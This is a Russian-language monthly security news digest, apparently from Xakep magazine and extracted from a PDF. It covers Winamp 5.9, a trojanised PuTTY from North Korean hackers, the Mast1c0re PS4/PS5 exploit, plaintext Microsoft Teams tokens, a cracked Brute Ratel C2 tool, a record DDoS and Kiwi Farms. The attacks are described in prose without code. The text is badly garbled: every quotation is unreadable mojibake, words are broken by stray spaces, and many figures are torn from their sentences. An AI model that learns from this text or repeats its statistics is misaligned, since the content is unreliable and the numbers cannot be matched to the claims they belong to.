ся новый логотип меди апле ера. Так же на сай те ста ло мож но зарегис три -
ровать ся для учас тия в бета-тес тирова нии нового Winamp, которое обе щали
начать сов сем ско ро.

Те перь бета-тест наконец окон чен и Winamp 5.9 Final Build 9999 пред ста -
вили широкой пуб лике.

«

»

«Ýòî êóëü ìèíàöèÿ òðó äà äâóõ êîìàíä ðàç ðàáîò ÷èêîâ, äëèâ øåãîñÿ

÷åòûðå ãîäà (ñ ìîìåí òà âûïóñ êà 5.8) è ïðå ðûâàâ øåãîñÿ èç‑çà ïàí -

äåìèè, — ïèøåò êîìàí äà â ïðè ìå÷à íèÿõ ê ðåëèçó. — Êîíå÷ íîìó ïîëü -

çîâàòå ëþ ìîæåò ïîêàçàòü ñÿ, ÷òî èçìå íåíèé íå òàê ìíî ãî, íî ñàìîé

áîëü øîé è ñëîæ íîé ÷àñòüþ ñòàë ïåðåíîñ âñå ãî ïðî åêòà

ñ VS2008 íà VS2019 è åãî óñïåøíàÿ ñáîð êà».

Дей стви тель но, самым замет ным изме нени ем в Winamp 5.9 стал перенос при -
ложе ния из Visual Studio 2008 в Visual Studio 2019. При чем этот перенос спро -
воци ровал мно жес тво проб лем с пла гина ми в более ран них вер сиях пле ера
сре ди поль зовате лей, у которых не был уста нов лен Visual Studio 2019
Redistributable. В финаль ном релизе уста нов щик Winamp сам про верит, все ли
нуж ные фай лы Visual Studio 2019 есть, и при необ ходимос ти пред ложит уста -
новить их.

Так же в жур нале изме нений сооб щает ся, что в этом релизе улуч шена под -
дер жка Windows 11, потоко вое вещание через HTTPS://, добав лен новый
каталог под кастов и под дер жка вос про изве дения в высоком раз решении, улуч -
шена под дер жка .itz, .mdz, .s3z и .xmz, а под дер жка юни кода теперь работа ет
нор маль но.

Хо тя в Winamp 5.9 устра нили мно жес тво оши бок, раз работ чики обе щают,
что в вер сии 5.9.1 будет исправ лено еще боль ше извес тных багов. Сре ди них:
ошиб ки в диало говом окне «О прог рамме», Milkdrop, редак торе AVS, под кастах
ml_wire, ски не Bento.

Есть и не слиш ком хорошие новос ти для тех, кому нужен декодер NSV
VP3, — эта фун кция теперь приз нана уста рев шей.

«
»

«Ìû íèã äå íå ìîæåì íàé òè ñòà ðûé èñõîäíûé êîä On2 VP3, ïîýòî ìó

îôè öèàëü íî îáú ÿâëÿ åì ýòîò ôîð ìàò óñòà ðåâ øèì», — ïîÿñ íÿþò ðàç -

ðàáîò ÷èêè.

Ска чать обновлен ный Winamp 5.9 мож но на .офи циаль ном сай те Nullsoft

СКОЛЬКО ПОЛУЧАЮТ В GOOGLE?
Жур налис ты Business Insider решили выяс нить, сколь ко зараба тыва ют спе циалис ты Google
на раз ных дол жнос тях. Для это го они изу чили заяв ления на получе ние рабочей визы H-1B, где
необ ходимо ука зывать пред полага емый базовый оклад. В сос тавлен ный в ито ге спи сок вош ли
зар пла ты в офи сах Google в Калифор нии, Вашин гто не и Нью-Йор ке. Зар пла ты при веде ны
за год.

Ин женер-иссле дова тель: от  до  дол ларов154 000 196 000

Ин женер-прог раммист: от  до  дол ларов122 000 280 000

Ин женер ПО: от  до  дол ларов126 000 225 000

UX-иссле дова тель: от  до  дол ларов137 000 180 785

UX-дизай нер: от  до  дол ларов162 000 202 000

Сис темный инже нер:  до  дол ларов106 000 266 000

Спе циалист по облачным вычис лени ям: от  до  дол ларов78 000 78 520

Data-инже нер: от  до  дол ларов106 000 182 000

Data-сай ентист: от  до  дол ларов103 000 269 000

Про дакт-менед жер: от  до  дол ларов151 000 244 000

БЭКДОР В PUTTY
Ана лити ки из ком пании Mandiant пре дуп редили о появ лении тро яни зиро ван ной
вер сии ути литы PuTTY, пред положи тель но соз данной северо корей ски ми
хакера ми из груп пы UNC4034 (она же Temp.Hermit или Labyrinth Chollima). Судя
по все му, вре донос ная вер сия PuTTY исполь зует ся, что бы взла мывать орга -
низа ции, которые пред став ляют инте рес для зло умыш ленни ков.

Обыч но такие ата ки начина ются с того, что зло умыш ленни ки свя зыва ются
со сво ими целями по элек трон ной поч те и дела ют им заман чивое пред -
ложение, яко бы приг лашая их на работу в Amazon. Затем хакеры отправ ляют
жер тве сооб щение в WhatsApp, в котором делят ся фай лом
amazon_assessment.iso. В пос леднее вре мя фай лы ISO все чаще исполь зуют ся
для зараже ния машин под управле нием Windows, потому что двой ной клик
по ним по умол чанию при водит к их мон тирова нию.

ISO вклю чает в себя тек сто вый файл (readme.txt), содер жащий IP-адрес
и учет ные дан ные для вхо да, а так же вре донос ную вер сию PuTTY (PuTTY.exe).
Инте рес но, что хакеры так же исполь зуют в сво их ата ках SSH-кли ент KiTTY
(форк PuTTY), в таких слу чаях имя фай ла будет Amazon-KiTTY.exe.

По ка неяс но, как имен но стро ится диалог меж ду зло умыш ленни ками и жер -
тва ми, но, похоже, хакеры убеж дали жертв открыть ISO-образ и исполь зовать
пред ложен ный SSH-инс тру мент и учет ные дан ные для под клю чения к хос ту,
что бы прой ти некое тес тирова ние.

Хо тя вре донос ная вер сия PuTTY осна щалась вре донос ной полез ной наг -
рузкой, она была пол ностью фун кци ональ ной (так как ском пилиро вана
из легитим ной вер сии прог раммы). Но иссле дова тели обра щают вни мание
на то, что легитим ные вер сии PuTTY под писаны раз работ чиком, а вер сии
хакеров — нет.

От чет Mandiant гла сит, что хакеры модифи циро вали фун кцию connect_to_host()
таким обра зом, что бы при успешном SSH-под клю чении с исполь зовани ем
при ложен ных учет ных дан ных раз верты вал ся вре донос ный шелл-код
DAVESHELL в фор мате биб лиоте ки DLL (colorui.dll), упа кован ной с Themida.

Что бы сде лать запуск шелл-кода незамет ным, вре донос ная PuTTY исполь -
зует уяз вимость в colorcpl.exe, а DAVESHELL дей ству ет как дроп пер финаль -
ного пей лоада — бэк дора AIRDRY.V2, который выпол няет ся непос редс твен но
в памяти.

По дан ным иссле дова телей, по срав нению с пре дыду щей вер сией AIRDRY
новый вари ант под держи вает мень ше команд, зато добав лены новые воз -
можнос ти: выпол нение в памяти и обновле ние клю ча AES для свя зи с управля -
ющим сер вером.

ПИРАТСКИЙ КОНТЕНТ В РУНЕТЕ
На фоне ухо да из Рос сии круп ных кинос тудий и инос тран ных стри мин говых сер висов в Рунете
замет но вырос ло количес тво ссы лок с пират ским кон тентом. Чаще все го пираты вык ладыва ют
гол ливуд ские премь еры, одна ко, по сло вам учас тни ков рын ка, слож нее защищать ста новит ся
и рос сий ские сери алы, кино и шоу.

В Яндексе сооб щают, что летом заб локиро вали на  боль ше ссы лок (
за июнь — август про тив  прош лым летом), а в «Газ пром-медиа» говорят о рос те
бло киро вок на  (до ) во вто ром квар тале.

42% 9,1  мил лиона
6,4 мил лиона

25% 1,64 мил лиона

ЭКСПЛОИТ ДЛЯ
PLAYSTATION
Ха кер, извес тный под псев донимом CTurt, дав но спе циали зиру ется на взло ме
игро вых кон солей. Теперь он про демонс три ровал све жий PoC-экс пло ит
Mast1c0re, который называ ет «прак тичес ки неус тра нимой» дырой в безопас -
ности PS4 и PS5. Mast1c0re дол жен поз волить уста нав ливать и запус кать
на кон солях Sony про изволь ные при ложе ния.

CTurt рас ска зыва ет, что про демонс три ровал Mast1c0re пред ста вите лям
Sony еще год назад, через прог рамму bug bounty, но так и не дож дался выхода
пуб лично го исправ ления.

В сво ей работе Mast1c0re полага ется на ошиб ки JIT-ком пиляции, которую
исполь зует эму лятор, запус кающий опре делен ные игры для PS2 на кон солях
PS4 и PS5. Эта ком пиляция дает эму лято ру спе циаль ные раз решения на неп -
рерыв ную запись PS4-ready-кода (на осно ве ори гиналь ных исходни ков
для PS2) непос редс твен но перед тем, как этот код будет выпол нен на уров не
при ложе ний (application layer). Получив кон троль над обе ими сто рона ми это го
про цес са, хакер может написать при виле гиро ван ный код, который сис тема
в ито ге соч тет легитим ным и безопас ным.

«
»

«Ïîñ êîëü êó ìû èñïîëü çóåì ñèñ òåìíûå âûçîâû JIT ïî ïðÿ ìîìó íàç -

íà÷åíèþ, íà ñàìîì äåëå ýòî äàæå íå ýêñ ïëî èò, à ïðîñ òî õèò ðûé

òðþê», — êîì ìåíòè ðóåò CTurt.

Ис сле дова тель пишет, что получить кон троль над эму лято ром теоре тичес ки
поз воля ют любые извес тные экс пло иты, которые дав ным-дав но сущес тву ют
для PS2-игр. Хотя некото рые из них мож но акти виро вать бук валь но одним
нажати ем кноп ки, для боль шинс тва пот ребу ется исполь зовать некую извес -
тную игру и дос туп к спе циаль но отформа тиро ван ному фай лу сох ранения
на кар те памяти, что при ведет к перепол нению буфера и откро ет дос туп
к защищен ной памяти. Нуж но отме тить, что похожие экс пло иты исполь -
зовались для взло ма PSP и Nintendo 3DS на про тяже нии мно гих лет.

К сожале нию, этот спо соб нем ного огра ничен из-за того, что
PS4 и PS5 не могут рас познать стан дар тные дис ки для PS2. Это озна чает, что
любая экс плу ати руемая игра дол жна быть дос тупна в виде заг ружа емой через
PSN игры  либо это дол жна быть одна из тех нем ногих игр для PS2,
что выходи ли на физичес ких дис ках, сов мести мых с PS4.

PS2-на-PS4

По лучить готовый для экс плу ата ции файл сох ранения PS2 на PS4 тоже
не так прос то. CTurt рас ска зыва ет, что ему приш лось исполь зовать уже взло -
ман ную PS4 для циф ровой под писи модифи циро ван ного фай ла сох ранения
игры Okage Shadow King, что бы тот работал с его PSN ID. Затем CTurt
с помощью сис темной фун кции импорта сох ранений на USB заг рузил файл
в целевую сис тему.

Под готовив этот «фун дамент», CTurt наконец перешел к слож ной серии
перепол нений буфера и сте ка, уте чек памяти и экс пло итам для RAM, которые
он исполь зовал для получе ния кон тро ля над эму лято ром PS2. В ито ге он сумел
получить дос туп к встро енным фун кци ям заг рузчи ка для переда чи ISO-фай ла
PS2 по локаль ной сети, а затем дать эму лято ру коман ду заг рузить эту игру
через вир туаль ный диск.

Од нако заг рузка дру гих игр для PS2 в эму лятор — это хорошо, но нас -
тоящей целью CTurt было вос поль зовать ся этой точ кой вхо да, что бы запус кать
про изволь ный код в сис теме. Этот про цесс хакер обе щает деталь но опи сать
в сле дующей статье, как и повыше ние при виле гий, которое необ ходимо
для запус ка любого кода «в кон тек сте игр для PS4».

По сути, хакерам по-преж нему при дет ся исполь зовать отдель ный (и потен -
циаль но под дающий ся исправ лению) экс пло ит ядра, что бы получить «пол ный
кон троль» над PS4, объ ясня ет CTurt. Но Mast1c0re уже дол жно быть дос таточ -
но для запус ка слож ных прог рамм, «вклю чая JIT-опти мизи рован ные эму лято ры
и, веро ятно, даже некото рые пират ские ком мерчес кие игры для PS4».

Так же, по сло вам CTurt, Mast1c0re теоре тичес ки может пос лужить точ кой
вхо да для ком про мета ции гипер визора PS5, который управля ет низ коуров -
невой сис темной безопас ностью на этой кон соли.

CTurt под черки вает, что зак рыть дыру, которую исполь зует Mast1c0re, прак -
тичес ки невоз можно. Дело в том, что экс плу ати руемый эму лятор PS2 упа кован
с каж дой дос тупной игрой PS2-на-PS4, а не хра нит ся отдель но, как часть опе -
раци онной сис темы кон соли.

То есть для физичес ких дис ков PS2-на-PS4 экс пло ит будет работать, пока
поль зователь отка зыва ется от онлайн-обновле ний перед игрой. А для циф -
ровых релизов это озна чает, что, даже если экс пло ит исправ лен, сущес тву ют
методы перей ти на сох ранен ную вер сию, при год ную для экс плу ата ции,
с исполь зовани ем прок сирован ного HTTP-тра фика с локаль ного сер вера.

«
»

«Ïðîá ëåìà íåèñ ïðà âèìà íå ñ òåõ íè÷åñ êîé òî÷ êè çðå íèÿ, íî â òîì ñìûñ -

ëå, ÷òî òàê óñòðî åíà êîí ñîëü è îíè íå áóäóò åå ìåíÿòü. Åñëè ó âàñ åñòü

ýêñ ïëó àòè ðóåìàÿ èãðà (öèô ðîâàÿ èëè ôèçè÷åñ êàÿ), Sony áóäåò ñëîæ íî

óäà ëèòü èëè èñïðà âèòü åå íà âàøåé êîí ñîëè», — îáú ÿñíÿ åò CTurt.

В похожей ситу ации ком пания Nintendo при няла решение уда лить экс плу ати -
руемые 3DS-игры из Nintendo eShop, пыта ясь огра ничить воз можный ущерб.
Пока Sony не пос тупила так же с экс плу ати руемы ми игра ми для PS2 в PSN.

БЛОКИРОВЩИКИ БУДУТ БЛОКИРОВАТЬ

Раз работ чики бра узе ра Vivaldi, который пос тавля ется со встро енным бло киров щиком рек ламы
и тре керов, завери ли, что их бло киров щик рек ламы про дол жит работать даже пос ле вступ -
ления в силу Google Manifest V3, который опре деля ет воз можнос ти и огра ниче ния для рас -
ширений.

Де ло в том, что уже в 2023 году дол жна зарабо тать третья вер сия манифес та, а он все
еще весь ма далек от иде ала и силь но огра ничи вает воз можнос ти бло киров щиков рек ламы,
анти виру сов, решений для родитель ско го кон тро ля и раз личных про дук тов, повыша ющих кон -
фиден циаль ность.

Ко ман да Vivaldi уве ряет, что ее бло киров щик будет работать как нуж но, ведь исходно он
был соз дан имен но как ответ гря дуще му Manifest V3. Что каса ется сто рон них бло киров щиков,
точ ного отве та у коман ды Vivaldi нет, но раз работ чики наде ются на луч шее и обе щают дать
поль зовате лям выбор.→ «Важ но отме тить, что рас ширения-бло киров щики час то зависят от дру гих

API-интерфей сов, которые уда лены в Manifest V3 (и, веро ятно, их будет куда
слож нее вер нуть обратно). Поэто му нет гаран тий, что прос того сох ранения
бло киру ющей фун кции webRequest будет дос таточ но и не понадо бит ся допол -
нитель ная работа со сто роны мей нтей неров этих рас ширений.

Пос коль ку Vivaldi пос тро ен на базе Chromium, то, как мы спра вим ся с изме -
нени ями в API, зависит от того, как Google реали зует свои огра ниче ния. Можем
заверить, что, какие бы огра ниче ния ни добав ляли в Google, в ито ге мы пос -
тара емся их снять. Наша мис сия всег да будет зак лючать ся в том, что бы у вас
был выбор»,

— пишет в бло ге ком пании раз работ чик Vivaldi Жуль ен Пикала уса (Julien Picalausa).

Продолжение статьи →

https://xakep.ru/2020/05/07/flipper/
https://download.nullsoft.com/winamp/client/Winamp590_9999_final_full_en-us.exe
https://en.wikipedia.org/wiki/List_of_PlayStation_2_games_for_PlayStation_4
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ПРОБКА ИЗ-ЗА АТАКИ
В начале сен тября в Мос кве прак тичес ки воп лотил ся в жизнь сюжет из игры
Watch Dogs: на Кутузов ском прос пекте обра зова лась огромная проб ка,
в которой сто яло подоз ритель но мно го авто моби лей так си. Как ока залось,
неиз вес тные попыта лись нарушить работу «Яндекс Так си» и соз дали мно жес -
тво фей ковых заказов в рай оне Фили на западе города.

Проб ка начала скап ливать ся при мер но в 11:00 утра по мос ков ско му вре -
мени и прак тичес ки пол ностью сос тояла из десят ков машин так си. Сами
водите ли жалова лись в соци аль ных сетях на лож ные заказы и на то, что «всех
отпра вили в один рай он».

Как вско ре сооб щили в пресс-служ бе Яндекса, затор дей стви тель но обра -
зовал ся не прос то так: неиз вес тные попыта лись про вес ти ата ку на сер вис,
но служ ба безопас ности опе ратив но оста нови ла попыт ки искусс твен ного скоп -
ления авто моби лей.

«

»

«Óòðîì 1 ñåí òÿáðÿ „ßíäåêñ Òàê ñè“ ñòîë êíóë ñÿ ñ ïîïûò êîé çëî óìûø -

ëåííè êîâ íàðóøèòü ðàáîòó ñåð âèñà — íåñ êîëü êèì äåñÿò êàì âîäèòå ëÿì

ïîñ òóïèëè ìàñ ñîâûå çàêàçû â ðàé îí Ôèëè. Âîäèòå ëè ïðî âåëè â ïðîá êå

èç‑çà ôåé êîâûõ çàêàçîâ îêî ëî 40 ìèíóò. Âîï ðîñ êîì ïåíñà öèé áóäåò

ðåøåí â ñàìîå áëè æàé øåå âðå ìÿ. Ñåé ÷àñ àâòî ìîáè ëè òàê ñè óæå ðàçú -

åõà ëèñü èç ðàé îíà ñêîï ëåíèÿ è âûïîë íÿþò çàêàçû â îáû÷ íîì

ðåæèìå», — ñîîá ùèëè â ßíäåêñå.

Так же пред ста вите ли ком пании под чер кну ли, что алго ритм обна руже ния и пре -
дот вра щения подоб ных атак был усо вер шенс тво ван, что бы исклю чить такие
инци ден ты в будущем.

БОЛЬШЕ YOUTUBE И TELEGRAM
Ана лити ки Mediascope изу чили, как изме нилось меди апот ребле ние рос сий ских поль зовате лей
в 2022 году. По их дан ным, в сред нем каж дый рос сиянин про водит в сети  в день
и боль шая часть это го вре мени про ходит в соци аль ных сетях и за прос мотром видео.

3 ч 41 мин

Ли дерс тво сре ди соци аль ных сетей дер жат «Вкон такте» и Telegram, который так же попада ет
в эту катего рию и демонс три рует зна читель ный при рост ауди тории с фев раля 2022 года.

За то про дол жает ся замет ное сок ращение ауди тории в зап рещен ных и заб локиро ван ных
Facebook* и Instagram*, которы ми теперь ежед невно поль зуют ся толь ко 0,2% и 8% населе ния
соот ветс твен но.

Так же отме чает ся, что в июле и августе рос сияне ста ли про водить боль ше вре мени
на YouTube. С начала года показа тель оста вал ся ста биль ным и сос тавлял . В июле же
сред нее вре мя прос мотра видео на YouTube вырос ло до , а в августе — до .

84 мин
87 мин 88 мин

На YouTube каж дый день заходят при мер но  рос сий ских поль зовате лей. Охват так же уве -
личил ся год к году: в августе 2022 года он сос тавил  человек про тив 

 человек в августе 2021 года.

39%
48 мил лионов 41,3 мил -

лиона

В целом сре ди интернет-ресур сов по охва ту лидиру ют WhatsApp, Яндекс, Google, «Вкон такте»
и YouTube.

* При над лежат ком пании Meta, деятель ность которой приз нана экс тре мист ской, орга низа ция
зап рещена в Рос сии.

ТОКЕНЫ ОТКРЫТЫМ
ТЕКСТОМ
Спе циалис ты обна ружи ли серь езную уяз вимость в дес ктоп ном при ложе нии
Microsoft Teams. Баг поз воля ет получить дос туп к токенам аутен тифика ции,
которые, как ока залось, хра нят ся в фор мате прос того тек ста, без какой-либо
защиты.

О проб леме рас ска зыва ют иссле дова тели из ИБ-ком пании Vectra. По их
сло вам, уяз вимость зат рагива ет дес ктоп ные вер сии при ложе ния для Windows,
Linux и macOS. Фак тичес ки зло умыш ленник с локаль ным дос тупом в сис теме,
где уста нов лено при ложе ние Microsoft Teams, может похитить незащи щен ные
токены, а затем исполь зовать их для вхо да в чужую учет ную запись.

«
»

«Ýòà àòà êà íå òðå áóåò ñïå öèàëü íûõ ðàç ðåøåíèé èëè ñëîæ íîé ìàë âàðè,

íî ìîæåò íàíåñ òè ñîê ðóøèòåëü íûé óðîí», — îáú ÿñíÿ åò ýêñïåðò Vectra

Êîí íîð Ïèïëñ (Connor Peoples).

Спе циалис ты Vectra обна ружи ли эту проб лему в августе 2022 года и немед -
ленно сооб щили о ней в Microsoft, одна ко раз работ чики ком пании не сог -
ласились с тем, что это серь езная проб лема, заявив, что исправ лению она
не под лежит. Все дело в том, что для реали зации ата ки хакеру сна чала нуж но
получить дос туп к сети жер твы.

Ко рень ошиб ки ухо дит к тому фак ту, что Microsoft Teams — это Electron-при -
ложе ние. То есть оно запус кает ся в окне бра узе ра со все ми эле мен тами,
необ ходимы ми для обыч ной веб-стра ницы (фай лы cookie, стро ки сеан са, жур -
налы и так далее). По умол чанию Electron не под держи вает шиф рование
или защищен ные рас положе ния фай лов, поэто му, хотя такая прог рам мная сре -
да уни вер саль на и прос та в исполь зовании, она не счи тает ся безопас ной
для раз работ ки кри тичес ки важ ных про дук тов.

Ана лити ки Vectra иссле дова ли Microsoft Teams в поис ках спо соба уда ления
деак тивиро ван ных учет ных записей из кли ент ских при ложе ний, но вмес то это го
наш ли файл ldb с токена ми дос тупа в откры том виде. Кро ме того, они обна -
ружи ли, что пап ка Cookies содер жит дей стви тель ные токены аутен тифика ции,
а так же информа цию об учет ной записи, дан ные сеан са и мар кетин говые теги.

«
»

«Â õîäå ïðî âåð êè áûëî óñòà íîâ ëåíî, ÷òî ýòè òîêåíû àêòèâíû è íå ÿâëÿ -

þòñÿ ñëó ÷àé íûì äàì ïîì êàêîé‑òî ïðå äûäó ùåé îøèá êè. Ýòè òîêåíû

ïðå äîñ òàâèëè íàì äîñ òóï ê API Outlook è Skype», — ðàñ ñêà çûâà þò

èññëå äîâà òåëè.

Пос ле это го откры тия в ком пании соз дали прос той экс пло ит, зло упот ребля -
ющий вызовом API, что поз воля ет отправ лять сооб щения самому себе.
Исполь зуя SQLite для чте ния БД Cookies, иссле дова тели добились получе ния
токенов аутен тифика ции через сооб щения чата.

По сути, этот метод могут взять на воору жение опе рато ры инфости леров:
токены аутен тифика ции Microsoft Teams поз волят обой ти мно гофак торную
аутен тифика цию и получить пол ный дос туп к учет ным записям жертв.

Так как пат ча, ско рее все го, не будет, спе циалис ты Vectra рекомен дуют
поль зовате лям перек лючить ся на бра узер ную вер сию Microsoft Teams. Так же
они совету ют поль зовате лям Linux перей ти на дру гой про дукт для сов мес тной
работы, тем более что недав но Microsoft сооб щила, что пла ниру ет прек ратить
под дер жку этой плат формы к декаб рю.

 ПАКЕТОВ В СЕКУНДУ704,8 ÌÈËËÈÎÍÀ

В середи не сен тября ком пания Akamai зафик сирова ла мощ ную DDoS-ата ку на одно го из ее
евро пей ских кли ентов. «Мусор ный» тра фик дос тиг мощ ности 

, что при мер но на  выше пре дыду щего рекора.
704,8  мил лиона пакетов

в секун ду 7%

Прош лый рекорд был уста нов лен в июле во вре мя атак на неназ ванно го кли ента Akamai из Вос -
точной Евро пы. Жер тва под вер глась целой череде DDoS-атак, которые были раз биты
на десят ки «волн», а общее количес тво инци ден тов пре выси ло . Ата ка дли лась око ло 
и на пиках дос тигала мощ ности в  и .

75 14 ч
853,7 Гбит/с 659,6 мил лиона пакетов в секун ду

Те перь же Akamai обна ружи ла и заб локиро вала  ата ку (про тив лет них ), исхо див шую
с  IP-адре сов (про тив  ранее).

201 75
1813 512

BRUTE RATEL
ВЗЛОМАЛИ
На рус ско языч ных и англо языч ных хакер ских форумах рас простра няет ся взло -
ман ная вер сия red team инс тру мен та Brute Ratel Command and Control Center
(Brute Ratel C4 или BRc4). Если рань ше соз датель инс тру мен тария Читан Наяк
(Chetan Nayak) уве рял, что при обна руже нии зло упот ребле ний он может иден -
тифици ровать наруши теля и отоз вать лицен зию, теперь это уже не получит ся.

В 2020 году Читан Наяк, быв ший учас тник red team в Mandiant
и CrowdStrike, соз дал BRc4 в качес тве аль тер нативы Cobalt Strike. Инс тру мен -
ты получи лись одновре мен но похожи ми и непохо жими друг на дру га. К при -
меру, Cobalt Strike поз воля ет раз верты вать «маяки» на ском про мети рован ных
устрой ствах для уда лен ного наб людения за сетью или выпол нения команд.
В свою оче редь, Brute Ratel поз воля ет раз верты вать на уда лен ных хос тах«бар -
суков» (badgers), которые очень похожи на маяки в Cobalt Strike. Такие «бар -
суки» под клю чают ся к управля юще му сер веру зло умыш ленни ка, что бы
получать коман ды или переда вать опе рато рам резуль таты уже запущен ных
команд.

Пер вые зло упот ребле ния Brute Ratel были обна руже ны летом 2022 года.
Так как BRc4 во мно гом ори енти рован на укло нение от обна руже ния EDR
и анти вирус ными решени ями, поч ти все защит ные про дук ты не опре деля ют
в нем вре донос ное ПО. Из-за этой осо бен ности иссле дова тели называ ли Brute
Ratel «уни каль но опас ным».

В нас тоящее вре мя годовая лицен зия на Brute Ratel сто ит 2500 дол ларов
США на одно го поль зовате ля, а кли енты обя заны пре дос тавить рабочий адрес
элек трон ной поч ты и прой ти про вер ку перед получе нием лицен зии. Пос коль ку
про вер ка выпол няет ся вруч ную (хотя неиз вес тно, как имен но),
летом 2022 года перед экспер тами встал воп рос: как зло умыш ленни ки вооб -
ще получи ли лицен зию?

Тог да Читан Наяк объ яснял, что лицен зию слил на сто рону недоволь ный
сот рудник одно го из его кли ентов. Раз работ чик заверил, что пей лоады поз -
воля ют ему видеть, кому они при над лежат, поэто му он сумел иден тифици -
ровать и опе ратив но отоз вать лицен зию.

Впро чем, уже тог да сооб щалось, что зло упот ребле ния Brute Ratel —
не еди нич ный слу чай. К при меру, по информа ции ИБ-спе циалис тов, опе рато -
ры вымога теля Conti вооб ще при обре тали лицен зии Brute Ratel, соз давая
для этих целей спе циаль ные под став ные аме рикан ские ком пании.

Су дя по все му, теперь хакерам боль ше не при дет ся при бегать к подоб ным
ухищ рени ям. ИБ-эксперт Уилл Томас (Will Thomas), извес тный под ником
BushidoToken, обна ружил, что взло ман ная копия Brute Ratel (вер сии 1.2.2) цир -
кулиру ет сре ди зло умыш ленни ков на хакер ских форумах с середи ны сен тября.

«

»

«Òåïåðü íà ïîïóëÿð íûõ õàê‑ôîðóìàõ, ãäå òóñó þòñÿ áðî êåðû äàí íûõ,

ðàç ðàáîò ÷èêè âðå äîíîñ íûõ ïðîã ðàìì, áðî êåðû ïåð âîíà÷àëü íûõ äîñ -

òóïîâ è ïàð òíå ðû âûìîãà òåëåé, åñòü íåñ êîëü êî òåì [ïîñ âÿùåí íûõ Brute

Ratel], — ïðå äóï ðåæäà åò Òîìàñ. — Ñþäà âõî äÿò BreachForums, CryptBB,

RAMP, Exploit[.]in è Xss[.]is, à òàê æå ðàç ëè÷íûå ãðóï ïû â Telegram

è Discord».

То мас пишет, что в этой вер сии Brute Ratel вооб ще не нуж но вво дить лицен -
зион ный ключ и она не выг лядит под дель ной ни по его мне нию, ни по мне нию
его кол лег из ком пании Curated Intel. По сло вам экспер та, зло умыш ленни ки
уже активно делят ся друг с дру гом скрин шотами, на которых вид но, как они
тес тиру ют инс тру мен тарий.

Чи тан Наяк уже под твер дил, что ранее на VirusTotal была заг ружена нев зло ман -
ная вер сия инс тру мен тария, которая затем была взло мана рус ско языч ной
хакер ской груп пиров кой Molecules для уда ления про вер ки лицен зии.

Увы, это озна чает, что в ско ром будущем боль ше зло умыш ленни ков нач нут
исполь зовать Brute Ratel вмес то Cobalt Strike или вмес те с ним. При этом Уилл
Томас под черки вает, что инс тру мен тарий спо собен генери ровать шелл-код,
который в нас тоящее вре мя край не пло хо обна ружи вает ся защит ными
решени ями.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Япон ское пра витель ство борет ся с исполь зовани ем дис кет

Chrome поз воля ет сай там вза имо дей ство вать с буфером обме на без раз решения

Ин ди-раз работ чик вынудил Valve заб локиро вать курато ров-мошен ников в Steam

Влас ти зак рыли мар кет плейс WT1SHOP, про давав ший бан ков ские кар ты, учет ные дан ные
и докумен ты

Пат чи для проб лемы Retbleed замед ляют вир туаль ные машины на Linux на 70%

Coinbase под держа ла иск про тив Мин фина США, оспа рива ющий сан кции про тив Tornado Cash

Ис сле дова тели соз дали устрой ство T ickTock, спо соб ное обна ружи вать прос лушку

Экс-гла ва безопас ности Twitter заявил, что в ком пании работа ют шпи оны из Китая и Индии

Кар деры исполь зуют фей ковые сай ты зна комств и под дер жки кли ентов, что бы воровать день ги

Рос сий ским поль зовате лям заб локиро вали обновле ние до Windows 11 22H2

https://xakep.ru/2022/09/01/japan-floppy-disks/
https://xakep.ru/2022/09/01/clipboard-problems/
https://xakep.ru/2022/09/02/steam-curators-issue/
https://xakep.ru/2022/09/07/wt1shop/
https://xakep.ru/2022/09/12/retbleed-linux/
https://xakep.ru/2022/09/12/coinbase-tornado-cash/
https://xakep.ru/2022/09/13/ticktock/
https://xakep.ru/2022/09/14/zatko-statement/
https://xakep.ru/2022/09/23/fake-carding-sites/
https://xakep.ru/2022/09/27/win11-22h2-russia/
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В начале сен тября одной из самых
обсужда емых тем в англо языч ном
интерне те ста ло решение ком пании
Cloudare, которая под дав лени ем общес -
твен ности прек ратила защищать сайт Kiwi
Farms. Этот ресурс дав но называ ют глав -
ным мес том сбо ра трол лей и стал керов,
а его сооб щес тво обви няли в нес коль ких
слу чаях доведе ния до само убий ства, прес -
ледова нии бес счет ного чис ла жертв, сват -
тинге и трав ле, которая зачас тую вып -
лески валась далеко за пре делы сети.
Давай раз берем ся, почему Cloudare соч -
ла сайт опас ным толь ко сей час и что ее
к это му под тол кну ло.

×ÒÎ ÅÙÅ ÇÀ KIWI FARMS?

Как ни стран но, форумы Kiwi Farms работа ли не в дар кне те и сущес тву ют поч ти
десять лет — с 2013 года. Сайт осно ван нес коль кими людь ми, сре ди
которых — быв ший адми нис тра тор имид жбор да 8chan Джо шуа Мун (Joshua
Moon), извес тный в сети под ником Null. Вско ре пос ле запус ка форумов браз -
ды прав ления ресур сом окон чатель но переш ли к нему, и в нас тоящее вре мя
Kiwi Farms управля ет имен но он.

Сей час Kiwi Farms дос тупен в основном через Tor

До 2014 года ресурс носил наз вание CWCki Forums, так как исходно он пред -
назна чал ся для трав ли все го одно го челове ка — худож ницы, авто ра
веб-комик сов, прес ледовать которую начали еще в 2007 году на 4chan.
В какой-то момент трол ли соз дали о ней статью в Encyclopedia Dramatica,
но некото рые соч ли, что матери ал недос таточ но пол ный и точ ный. Так воз -
никла спе циаль ная вики под наз вани ем CWCki, которое сос тавили из ини -
циалов жер твы. Поз же кому-то показа лось, что CWCki Forums соз вучно с Kiwi
Farms, и сайт пере име нова ли.

Со вре менем ресурс, изна чаль но пос вящен ный прес ледова нию лишь одно -
го челове ка, раз росся до огромно го сооб щес тва, которое в СМИ не раз 

 глав ным при бежи щем трол лей и стал керов всех мас тей. Сами поль -
зовате ли форумов опи сыва ли себя как «сооб щес тво, пос вящен ное обсужде -
нию эксцентрич ных людей, которые доб роволь но выс тавля ют себя дурака ми».

на -
зыва ли

Учас тни ки Kiwi Farms годами изде вались над тысяча ми пуб личных и не
очень лич ностей и прес ледова ли целые сооб щес тва. Док синг, сват тинг (от
англий ско го swatting, ког да, сооб щая о лож ных угро зах взры ва, зах вате залож -
ников и подоб ном, добива ются того, что бы к жер твам домой прис лали отряд
спец наза или полиции), угро зы, прес ледова ние не толь ко в сети, но и в реаль -
ной жиз ни — все это обыч ные буд ни для учас тни ков Kiwi Farms. Навер ное, дос -
таточ но ска зать, что доведе ние до само убий ства счи тает ся осо бен но выда -
ющим ся дос тижени ем на этом сай те.

Ча ще все го поль зовате ли Kiwi Farms тра вили учас тни ков ЛГБТ-сооб щес тва
